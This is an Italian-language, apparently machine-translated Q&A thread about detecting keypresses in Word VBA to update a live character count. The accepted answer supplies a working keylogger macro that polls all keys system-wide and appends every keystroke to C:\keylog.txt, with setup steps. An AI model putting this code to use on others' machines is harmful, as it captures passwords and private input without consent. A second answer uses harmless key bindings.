2015-07-18 25 views
5

C'è un modo per rilevare quando un utente preme un tasto in Microsoft Word utilizzando VBA. Ho cercato un metodo che faccia questo. Ho anche cercato dei metodi che creano un modo per aggirare questo, come rilevare quando il punto di inserimento si sposta o rileva quando viene inserito un nuovo carattere nel documento di parole, ma non ho dato un'occhiata. Attualmente sto usando appWord_WindowSelectionChange(ByVal Sel As Selection) ma questo non rileva mentre digiti.Rilevare quando i dati vengono aggiunti a un documento, ad es. un carattere o uno spazio bianco

Apprezzerei chiunque mi mostrasse come rilevare un tasto di pressione o sarebbe in grado di mostrarmi una soluzione alternativa che raggiunga lo stesso obiettivo.

Modifica

mi scuso se la sintesi di ciò che voglio di cui sopra non è chiaro. Quello che ho è un sub che spara usando appWord_WindowSelectionChange(ByVal Sel As Selection). Tuttavia, ciò che voglio è che questo sub venga attivato ogni volta che un dato viene inserito nel documento word, ad es. una lettera o un carattere di spazio bianco. Ad esempio, se nel piè di pagina del documento word era presente un conteggio di caratteri e in questo sub che ho aggiornato questo conteggio di caratteri, il campo di conteggio dei caratteri dovrebbe essere aggiornato man mano che l'utente digita nel documento.

+0

È possibile utilizzare l'API di Windows per rilevare la pressione dei tasti: http://stackoverflow.com/questions/11153995/is-there-any-event-that-fires-when-keys-are-pressed -quando-modifica-a-cell –

+0

si può provare anche autohotkey: http: // StackOverflow.it/questions/31470984/capturing-keydown-event-of-ms-word – wideweide

risposta

2

Non il mio codice ma HTH.

 Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer 
     Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer 

     Sub KeyStrokeLogger() 
      Dim i As Integer 
      Dim KeyAsciiValue As Integer 

      StartLogging 
      Do While True 
       For i = 1 To 255 
        If GetAsyncKeyState(i) = -32767 Then 
         If CapsLockIsOn() Then 
          If ShiftIsPressed() = True Then 
       KeyAsciiValue = Asc(LCase(Chr(i))) 
        Else 
       KeyAsciiValue = Asc(UCase(Chr(i))) 
        End If 
         Else 
          If ShiftIsPressed() = True Then 
       KeyAsciiValue = Asc(UCase(Chr(i))) 
        Else 
       KeyAsciiValue = Asc(LCase(Chr(i))) 
        End If 
         End If 
         LogKeyStroke KeyAsciiValue 
        End If 
       Next i 
       DoEvents 
      Loop 
     End Sub 

     Private Function CapsLockIsOn() As Boolean 
      CapsLockIsOn = CBool(GetKeyState(20)) 
     End Function 

     Private Function ShiftIsPressed() As Boolean 
      ShiftIsPressed = CBool(GetAsyncKeyState(16)) 
     End Function 

     Private Sub StartLogging() 
      Open "C:\keylog.txt" For Binary As #1 
      Seek #1, LOF(1) + 1 
     End Sub 

     Private Sub LogKeyStroke(KeyAsciiValue As Integer) 
      Dim c As String * 1 
      c = Chr(KeyAsciiValue) 
      Select Case KeyAsciiValue 
       Case 8 
        Put #1, , "{BACKSPACE}" 
       Case 9 
        Put #1, , "{TAB}" 
       Case 13 
        Put #1, , "{ENTER}" 
       Case 32 To 126 
        Put #1, , c 
       Case Else 
        Put #1, , "{" & KeyAsciiValue & "}" 
      End Select 
     End Sub 

* "Come utilizzare il codice di cui sopra:.

Fase 1 Creare un nuovo documento in MS-Word

Fase 2 Vai su Strumenti, Macro, Visual Basic Editor

Fase 3 doppio clic su ThisDocument Object nell'ambito del progetto (Documento1) nella finestra del progetto.

Passaggio 4 Copia il codice sopra e incollalo nel Visual Basic Editor.

Passaggio 5 Chiudere il Visual Basic Editor e salvare il documento.

Passaggio 6 Verificare che i macro siano abilitati. Per avviare la registrazione delle sequenze di tasti in qualsiasi momento, fare clic su Strumenti, Macro, Macro. Seleziona KeyStrokeLogger e fai clic su Esegui. Tutte le sequenze di tasti verranno memorizzate in C: \ keylog.txt. "* LinkBack to Post

+0

Questo è davvero un piccolo trucco. Grazie – Dan

+0

Con un po 'di editing, ho scoperto come eseguire una macro quando ha rilevato una sequenza di tasti invece di registrarla in un file '.txt'. Grazie mille – Dan

+0

Contento che tu abbia funzionato. Grazie per il feedback. – ShaggyRogers

0

Utilizzare le combinazioni di tasti per associare i caratteri alla funzione desiderata. Ad esempio, il seguente codice (quando eseguito) attiva una finestra di messaggio quando l'utente inserisce 0 nel documento word.

mettere questo nel modulo 1

Sub AddKeyBinding() 
With Application 
    .CustomizationContext = ThisDocument 
    .KeyBindings.Add KeyCode:=BuildKeyCode(wdKey0), _ 
    KeyCategory:=wdKeyCategoryCommand, _ 
    Command:="userpressedzero" 
End With 
End Sub 

Mettere questo nel modulo 2

Sub userpressedzero() 
    Dim MyText As String 
    Selection.TypeText ("0") 
    MsgBox ("user pressed 0") 
End Sub 

Ora lanciate modulo 1 e premere 0 nel documento di Word.